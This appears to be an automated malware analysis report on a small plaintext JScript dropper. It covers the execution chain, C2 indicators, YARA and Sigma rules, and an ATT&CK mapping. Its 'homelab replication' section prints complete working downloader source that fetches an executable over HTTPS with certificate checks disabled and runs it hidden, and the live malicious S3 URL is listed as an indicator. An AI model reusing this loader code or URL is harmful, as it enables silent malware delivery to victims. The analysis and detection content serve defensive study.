26afa8d11ece77de51b54648010198884238cbddd4230cf9008903e2d4f1352funclassified-js-s3-dropper: 26afa8d1 — Plain-text WScript→S3 HTTPS downloader with SSL cert-error bypass
Executive Summary
A 612-byte plaintext JScript dropper for Windows Script Host. It instantiates three COM objects (WScript.Shell, MSXML2.ServerXMLHTTP.6.0, ADODB.Stream), downloads a remote PE executable from a hardcoded Amazon S3 bucket over HTTPS, writes it to %TEMP%\Utilify_<random>.exe, and executes it hidden. No obfuscation, no sandbox gating, no persistence — pure minimal staging. The S3 bucket name (amazonbusketss-535659318049-us-west-1-an) is attacker-controlled and masquerades as an AWS regional asset.
What It Is
| Field | Value |
|---|---|
| SHA-256 | 26afa8d11ece77de51b54648010198884238cbddd4230cf9008903e2d4f1352f |
| Size | 612 bytes ^[file.txt] |
| Type | ASCII text, single line, no terminators ^[file.txt] |
| Language | JScript (Windows Script Host) |
| Obfuscation | None — fully readable source ^[strings.txt:1] |
| Packing / crypter | N/A |
| Anti-analysis | None observed |
| Signing | N/A |
| Family | unclassified-js-s3-dropper (n=1, low confidence) |
How It Works
Execution chain (single stage, no branching):
- Environment expansion —
WScript.Shell.ExpandEnvironmentStrings("%TEMP%")resolves the temp directory. ^[strings.txt:1] - Random filename —
"Utilify_" + Math.random().toString(36).substr(2,8) + ".exe"generates a pseudo-random 8-char alphanumeric suffix, producing e.g.Utilify_a7k3m9p1.exe. ^[strings.txt:1] - SSL-bypass HTTP request —
MSXML2.ServerXMLHTTP.6.0is configured withsetOption(2,13056). Option 2 isSXH_OPTION_IGNORE_SERVER_SSL_CERT_ERROR_FLAGS; value13056(0x3300) equalsSXH_SERVER_CERT_IGNORE_ALL_SERVER_ERRORS(wrong CN, expired, revoked, untrusted root). This silently accepts any TLS certificate from the remote host. ^[strings.txt:1] - Timeout profile —
setTimeouts(5000,10000,10000,120000)sets 5 s resolve, 10 s connect, 10 s send, 120 s receive. ^[strings.txt:1] - Download — synchronous
GETtohttps://amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.com/UtilifySetup.exe. ^[strings.txt:1] - Size gate — only writes the file if
ADODB.Stream.Size >= 1024bytes; otherwise closes the stream and exits without execution. ^[strings.txt:1] - Binary save —
ADODB.Stream.SaveToFile(f,2)where flag2isadSaveCreateOverWrite. ^[strings.txt:1] - Execution —
WScript.Shell.Run("\""+f+"\"",0,false)launches the saved PE with window style0(hidden) and does not wait for termination. ^[strings.txt:1] - Error swallowing — the entire block is wrapped in a bare
try{...}catch(e){}with no logging or fallback, so any failure (network timeout, missing COM object, size gate failure) silently aborts. ^[strings.txt:1]
Decompiled Behavior
N/A — sample is a plaintext JScript file, not a PE. Ghidra, radare2, and capa do not apply. ^[file.txt] ^[capa.txt]
C2 Infrastructure
| Indicator | Value | Notes |
|---|---|---|
| URL | https://amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.com/UtilifySetup.exe |
Hardcoded, HTTPS, no auth ^[strings.txt:1] |
| Domain | amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.com |
S3 virtual-hosted style; bucket name deliberately close to "amazonbuckets" with doubled ss and fake account ID 535659318049 ^[strings.txt:1] |
| Region | us-west-1 |
Hardcoded in endpoint ^[strings.txt:1] |
| Downloaded filename | UtilifySetup.exe |
Masquerades as a utility installer ^[strings.txt:1] |
| Local staging name | %TEMP%\Utilify_<random8>.exe |
Predictable prefix, random suffix ^[strings.txt:1] |
| SSL validation | Disabled via setOption(2,13056) |
Accepts any server certificate; permits self-hosted or compromised endpoints ^[strings.txt:1] |
No backup URLs, DGA, or fallback C2 observed. No network-level authentication, headers, or cookie gating.
Interesting Tidbits
- Zero obfuscation — the entire payload is readable in a text editor. No
javascript-obfuscator, no base64, no string arrays. This is unusual compared to the unclassified-js-pptx-dropper and unclassified-js-dropper families in this corpus, both of which use heavy obfuscation. ^[strings.txt:1] - SSL bypass is deliberate —
13056is not a default value; it is the bitwise OR of all Microsoft ServerXMLHTTP certificate-ignore flags. This suggests the operator expects the S3 endpoint to present an untrusted, expired, or mismatched certificate, or is reusing the code against arbitrary HTTPS infrastructure. ^[strings.txt:1] - Bucket name masquerade —
amazonbusketss(misspelled) + fake AWS account ID535659318049+ regionus-west-1mimics legitimate AWS S3 naming. The bucket is attacker-controlled, not a compromised legitimate bucket. ^[strings.txt:1] - Size gate is minimal —
>=1024bytes is a rudimentary anti-tamper / anti-honeypot check; any non-empty PE will pass. ^[strings.txt:1] - No persistence — unlike unclassified-js-dropper siblings that drop
.lnkfiles or registerschtasks, this sample exits after one-shot execution. Reliance is on the downloaded PE to install its own persistence. ^[strings.txt:1] - Error handling is a black hole —
catch(e){}with no body means forensic artifacts (event log entries, stderr, user alerts) are suppressed. ^[strings.txt:1]
How To Mess With It (Homelab Replication)
Goal: reproduce a minimal WScript→HTTPS→ADODB.Stream downloader with SSL bypass.
Toolchain: Windows VM + Notepad + cscript.exe or wscript.exe.
Working source snippet:
var w=new ActiveXObject("WScript.Shell");
var t=w.ExpandEnvironmentStrings("%TEMP%");
var n="Demo_"+Math.random().toString(36).substr(2,8)+".exe";
var f=t+"\\"+n;
var u="https://your-bucket.s3.us-east-1.amazonaws.com/payload.exe";
try{
var h=new ActiveXObject("MSXML2.ServerXMLHTTP.6.0");
h.setOption(2,13056);
h.setTimeouts(5000,10000,10000,120000);
h.open("GET",u,false);
h.send();
if(h.status===200){
var s=new ActiveXObject("ADODB.Stream");
s.Type=1; s.Open(); s.Write(h.responseBody);
if(s.Size>=1024){ s.SaveToFile(f,2); s.Close(); w.Run("\""+f+"\"",0,false); }
else { s.Close(); }
}
} catch(e){}
Verification step:
- Save as
demo.js. - Host any PE at the target HTTPS URL (a legitimate tool is fine for testing).
- Run
cscript.exe demo.js //B(batch mode, suppress banners). - Observe
%TEMP%\Demo_*.execreated and the child process spawned. Use Procmon to confirmMSXML2.ServerXMLHTTP.6.0TLS handshake andADODB.Streambinary write.
What you'll learn: how a 600-byte script with no obfuscation can still evade many static AV signatures if the S3 URL is fresh, because the malicious behaviour is in the second-stage PE rather than the carrier.
Deployable Signatures
YARA rule
rule JS_S3_Downloader_Utilify {
meta:
description = "Plain-text WScript JS downloader staging from S3 with SSL cert bypass"
author = "PacketPursuit"
date = "2026-06-16"
sha256 = "26afa8d11ece77de51b54648010198884238cbddd4230cf9008903e2d4f1352f"
strings:
$a = "MSXML2.ServerXMLHTTP.6.0" ascii wide
$b = "ADODB.Stream" ascii wide
$c = "WScript.Shell" ascii wide
$d = "setOption(2,13056)" ascii wide
$e = "Utilify_" ascii wide
$f = /\.s3\.[a-z0-9-]+\.amazonaws\.com\// ascii wide
condition:
filesize < 2KB and 4 of them
}
Sigma rule
title: WScript JS S3 Downloader Executing Temp EXE
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith:
- '\wscript.exe'
- '\cscript.exe'
selection_child_path:
CommandLine|contains: '\Utilify_'
CommandLine|endswith: '.exe'
selection_child_s3:
CommandLine|contains:
- 'amazonaws.com'
- 's3.'
condition: selection_parent and (selection_child_path or selection_child_s3)
falsepositives:
- Unknown
level: high
IOC list
| Type | Value |
|---|---|
| SHA-256 | 26afa8d11ece77de51b54648010198884238cbddd4230cf9008903e2d4f1352f |
| URL | https://amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.com/UtilifySetup.exe |
| Filename pattern | Utilify_*.exe |
| Staging directory | %TEMP% |
| COM objects | MSXML2.ServerXMLHTTP.6.0, ADODB.Stream, WScript.Shell |
Behavioral fingerprint
A plaintext JScript file under 1 KB, single line, instantiates WScript.Shell, MSXML2.ServerXMLHTTP.6.0, and ADODB.Stream. It sets ServerXMLHTTP option 2 to 13056 (ignore all TLS certificate errors), performs a synchronous HTTPS GET to an S3 virtual-hosted endpoint, writes the response body to %TEMP%\Utilify_<random8>.exe via binary ADODB.Stream only if the payload exceeds 1024 bytes, then executes the file hidden via WScript.Shell.Run(...,0,false). All errors are silently swallowed in a bare catch(e){} block. No persistence, no sandbox checks, no obfuscation.
Detection Signatures
N/A — capa does not analyse script files. ATT&CK mapping is inferred from static source inspection and documented below.
| Tactic | Technique | Evidence |
|---|---|---|
| Execution | T1059.005 (Visual Basic / JScript) | .js carrier executed by WScript/CScript ^[strings.txt:1] |
| Execution | T1059.001 (PowerShell) | Inferred if downloaded PE spawns PowerShell; not observed in carrier ^[strings.txt:1] |
| Defense Evasion | T1203 (Exploitation for Client Execution) | WScript.Shell COM object abuse ^[strings.txt:1] |
| Defense Evasion | T1218 (System Binary Proxy Execution) | wscript.exe / cscript.exe proxy execution of arbitrary JS ^[strings.txt:1] |
| Defense Evasion | T1562.001 (Impair Defenses: Disable or Modify Tools) | SSL certificate validation disabled via setOption(2,13056) ^[strings.txt:1] |
| Command & Control | T1071.001 (Web Protocols) | HTTPS GET to S3 endpoint ^[strings.txt:1] |
| Ingress Tool Transfer | T1105 (Tool Ingress) | Downloads remote PE to local disk ^[strings.txt:1] |
References
- SHA-256:
26afa8d11ece77de51b54648010198884238cbddd4230cf9008903e2d4f1352f - Artifact ID:
655341e9-b0fd-4902-8e71-47bea48e47e5 - Source: MalwareBazaar via OpenCTI connector
- Related entity: unclassified-js-s3-dropper
Provenance
Analysis based on:
file.txt—fileutility (identifies plaintext JS)strings.txt—strings -n 6(full payload recovered, line 1)floss.txt— N/A (floss errored on non-PE input)capa.txt— N/A (capa rejected non-PE input)binwalk.txt— N/A (no embedded artefacts)rabin2-info.txt— radare2rabin2 -I(confirms non-PE)dynamic-analysis.md— CAPE skipped (unsupported binary class)
All claims trace to ^[raw/analyses/26afa8d11ece77de51b54648010198884238cbddd4230cf9008903e2d4f1352f/<file>] markers inline above.